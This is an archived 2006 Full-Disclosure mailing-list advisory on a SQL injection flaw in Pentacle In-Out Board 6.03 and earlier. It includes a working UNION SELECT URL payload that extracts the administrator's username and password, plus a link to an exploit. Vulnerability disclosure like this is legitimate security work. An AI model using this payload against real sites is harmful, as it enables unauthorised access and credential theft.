full-disclosure - Advisory: Pentacle In-Out Board <= 6.03 (newsdetailsview.asp newsid) Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat Feb 25 15:16:17 2006
From: nukedx at nukedx.com (nukedx@...edx.com)
Subject: Advisory: Pentacle In-Out Board <= 6.03
	(newsdetailsview.asp newsid) Remote SQL Injection Vulnerability

--Security Report--
Advisory: Pentacle In-Out Board <= 6.03 (newsdetailsview.asp newsid) Remote SQL
Injection Vulnerability
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 25/02/06 06:08 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: G2SOFT (www.g2soft.net)
Version: 6.03 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL query to
newsdetailsview.asp.
Level: Critical
---
How&Example:
GET -> http://[site]/[ptdir]/newsdetailsview.asp?newsid=11%20[SQLCode]
EXAMPLE ->
http://[site]/[ptdir]/newsdetailsview.asp?newsid=11%20union%20select%200,userpassword,0,username,0,0,0,0
%20from%20pt_users%20where%20userid=1%20and%20useradmin=yes
With this example remote attacker could get admin's username and password.
--
Timeline:
* 25/02/2006: Vulnerability found.
* 25/02/2006: Contacted with vendor and waiting reply.
--
Exploit:
http://www.nukedx.com/?getxpl=14
--
Original advisory: http://www.nukedx.com/?viewdoc=14